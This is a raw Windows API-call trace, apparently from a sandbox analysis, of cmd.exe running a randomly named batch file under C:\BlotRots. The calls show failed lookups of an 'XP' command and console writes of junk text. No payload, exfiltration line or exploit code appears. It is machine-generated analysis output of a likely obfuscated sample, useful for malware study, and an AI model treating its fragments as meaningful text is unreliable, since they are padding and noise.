[0212.103] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x76) returned 0x20b0f926ea0 [0212.103] _tell (_FileHandle=3) returned 3129 [0212.103] _close (_FileHandle=3) returned 0 [0212.103] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0212.103] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.103] GetFileType (hFile=0x50) returned 0x2 [0212.103] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0212.104] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.104] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0212.108] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0212.108] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0212.108] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0212.108] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.108] GetFileType (hFile=0x50) returned 0x2 [0212.109] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0212.109] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.109] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0212.109] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.109] GetFileType (hFile=0x50) returned 0x2 [0212.109] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0212.110] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.110] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f947170*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f947170*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0212.110] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" and is listed separately on this page. Synta ") returned 51 [0212.110] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.110] GetFileType (hFile=0x50) returned 0x2 [0212.110] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0212.111] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.111] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x33) returned 1 [0212.131] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0212.131] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.131] GetFileType (hFile=0x50) returned 0x2 [0212.131] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0212.133] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.133] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0212.138] malloc (_Size=0xffce) returned 0x20b0fa60940 [0212.139] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0212.140] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0212.140] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0212.140] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0212.140] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0212.140] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0212.140] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0212.140] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0212.140] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0212.140] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0212.140] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0212.140] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0212.140] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0212.140] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0212.141] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0212.141] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0212.141] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0212.141] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0212.141] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0212.141] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0212.141] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0212.141] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0212.141] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0212.141] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0212.141] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0212.141] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0212.141] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0212.141] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0212.141] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0212.141] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0212.141] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0212.141] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0212.141] _wcsicmp (_String1="XP", _String2="START") returned 5 [0212.141] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0212.141] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0212.141] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0212.141] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0212.141] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0212.142] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0212.142] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0212.142] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0212.142] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0212.142] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0212.142] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0212.142] malloc (_Size=0xffce) returned 0x20b0fa70920 [0212.142] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0212.143] GetProcessHeap () returned 0x20b0f920000 [0212.143] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0212.146] SetErrorMode (uMode=0x0) returned 0x0 [0212.146] SetErrorMode (uMode=0x1) returned 0x0 [0212.146] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0212.146] SetErrorMode (uMode=0x0) returned 0x1 [0212.146] GetProcessHeap () returned 0x20b0f920000 [0212.146] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x3e) returned 0x20b0f957f90 [0212.146] GetProcessHeap () returned 0x20b0f920000 [0212.146] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x3e [0212.146] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0212.146] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0212.146] GetProcessHeap () returned 0x20b0f920000 [0212.146] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0212.146] GetProcessHeap () returned 0x20b0f920000 [0212.146] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0212.146] GetProcessHeap () returned 0x20b0f920000 [0212.146] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0212.146] GetProcessHeap () returned 0x20b0f920000 [0212.146] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0212.146] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0212.146] GetProcessHeap () returned 0x20b0f920000 [0212.146] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d600 [0212.146] GetProcessHeap () returned 0x20b0f920000 [0212.146] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d600, Size=0x7e) returned 0x20b0f92d600 [0212.147] GetProcessHeap () returned 0x20b0f920000 [0212.147] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d600) returned 0x7e [0212.147] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.147] GetLastError () returned 0x2 [0212.147] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.147] GetLastError () returned 0x2 [0212.147] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.148] GetLastError () returned 0x2 [0212.148] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.148] GetLastError () returned 0x2 [0212.148] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.148] GetLastError () returned 0x2 [0212.148] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.148] GetLastError () returned 0x2 [0212.149] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0212.149] GetLastError () returned 0x2 [0212.149] ??_V@YAXPEAX@Z () returned 0x1 [0212.149] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0212.151] malloc (_Size=0xffce) returned 0x20b0fa70920 [0212.151] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0212.151] malloc (_Size=0xffce) returned 0x20b0fa80900 [0212.151] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0212.152] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0212.152] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0212.152] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0212.152] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0212.152] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0212.152] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0212.152] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0212.152] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0212.152] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0212.152] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0212.152] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0212.152] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0212.152] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0212.152] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0212.152] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0212.152] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0212.152] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0212.152] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0212.152] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0212.152] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0212.153] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0212.153] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0212.153] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0212.153] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0212.153] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0212.153] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0212.153] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0212.153] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0212.153] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0212.153] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0212.153] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0212.153] _wcsicmp (_String1="XP", _String2="START") returned 5 [0212.153] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0212.153] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0212.153] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0212.153] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0212.153] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0212.153] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0212.153] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0212.153] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0212.153] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0212.153] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0212.153] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0212.153] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0212.153] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0212.153] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0212.153] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0212.153] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0212.154] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0212.154] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0212.154] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0212.154] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0212.154] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0212.154] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0212.154] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0212.154] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0212.154] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0212.154] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0212.154] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0212.154] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0212.154] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0212.154] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0212.154] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0212.154] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0212.154] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0212.154] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0212.154] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0212.154] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0212.154] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0212.154] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0212.154] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0212.154] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0212.154] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0212.154] _wcsicmp (_String1="XP", _String2="START") returned 5 [0212.154] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0212.154] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0212.155] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0212.155] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0212.155] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0212.155] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0212.155] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0212.155] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0212.155] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0212.155] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0212.155] _wcsicmp (_String1="XP", _String2="FOR") returned 18 [0212.155] _wcsicmp (_String1="XP", _String2="IF") returned 15 [0212.155] _wcsicmp (_String1="XP", _String2="REM") returned 6 [0212.155] ??_V@YAXPEAX@Z () returned 0x1 [0212.155] GetProcessHeap () returned 0x20b0f920000 [0212.155] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957fe0 [0212.155] GetProcessHeap () returned 0x20b0f920000 [0212.155] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x7c) returned 0x20b0f956760 [0212.156] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0212.156] malloc (_Size=0xffce) returned 0x20b0fa80900 [0212.156] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0212.156] GetProcessHeap () returned 0x20b0f920000 [0212.156] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fd0 [0212.980] SetErrorMode (uMode=0x0) returned 0x0 [0212.980] SetErrorMode (uMode=0x1) returned 0x0 [0212.980] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967fe0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0212.980] SetErrorMode (uMode=0x0) returned 0x1 [0212.980] GetProcessHeap () returned 0x20b0f920000 [0212.980] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fd0, Size=0x3e) returned 0x20b0f967fd0 [0212.980] GetProcessHeap () returned 0x20b0f920000 [0212.981] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fd0) returned 0x3e [0212.981] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0212.981] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0212.981] GetProcessHeap () returned 0x20b0f920000 [0212.981] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e0d0 [0212.981] GetProcessHeap () returned 0x20b0f920000 [0212.981] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0212.981] GetProcessHeap () returned 0x20b0f920000 [0212.981] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0212.981] GetProcessHeap () returned 0x20b0f920000 [0212.981] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0212.981] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0212.981] GetProcessHeap () returned 0x20b0f920000 [0212.981] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d690 [0212.981] GetProcessHeap () returned 0x20b0f920000 [0212.981] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d690, Size=0x7e) returned 0x20b0f92d690 [0212.981] GetProcessHeap () returned 0x20b0f920000 [0212.981] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d690) returned 0x7e [0212.981] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.981] GetLastError () returned 0x2 [0212.981] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.982] GetLastError () returned 0x2 [0212.982] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.982] GetLastError () returned 0x2 [0212.982] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.982] GetLastError () returned 0x2 [0212.982] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.982] GetLastError () returned 0x2 [0212.982] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.982] GetLastError () returned 0x2 [0212.982] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.983] GetLastError () returned 0x2 [0212.983] ??_V@YAXPEAX@Z () returned 0x1 [0212.983] _get_osfhandle (_FileHandle=2) returned 0x54 [0212.983] GetFileType (hFile=0x54) returned 0x2 [0212.983] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0217.856] _get_osfhandle (_FileHandle=2) returned 0x54 [0217.856] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0221.910] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0221.910] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'XP' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0221.910] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x5d) returned 1 [0225.231] ??_V@YAXPEAX@Z () returned 0x1 [0225.232] _get_osfhandle (_FileHandle=1) returned 0x50 [0225.232] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0226.485] _get_osfhandle (_FileHandle=1) returned 0x50 [0226.485] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0227.624] _get_osfhandle (_FileHandle=0) returned 0x4c [0227.624] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0227.643] SetConsoleInputExeNameW () returned 0x1 [0227.643] GetConsoleOutputCP () returned 0x1b5 [0227.644] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0227.644] SetThreadUILanguage (LangId=0x0) returned 0x409 [0227.645] ??_V@YAXPEAX@Z () returned 0x1 [0227.646] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0227.646] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0227.647] _get_osfhandle (_FileHandle=3) returned 0x9c [0227.647] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3129, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc39 [0227.647] GetProcessHeap () returned 0x20b0f920000 [0227.647] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d690) returned 1 [0227.647] GetProcessHeap () returned 0x20b0f920000 [0227.647] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0227.647] GetProcessHeap () returned 0x20b0f920000 [0227.647] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0227.647] GetProcessHeap () returned 0x20b0f920000 [0227.647] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fd0) returned 1 [0227.648] GetProcessHeap () returned 0x20b0f920000 [0227.648] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956760) returned 1 [0227.648] GetProcessHeap () returned 0x20b0f920000 [0227.648] RtlFreeHeap (HeapHandle=0x20b0f920000, 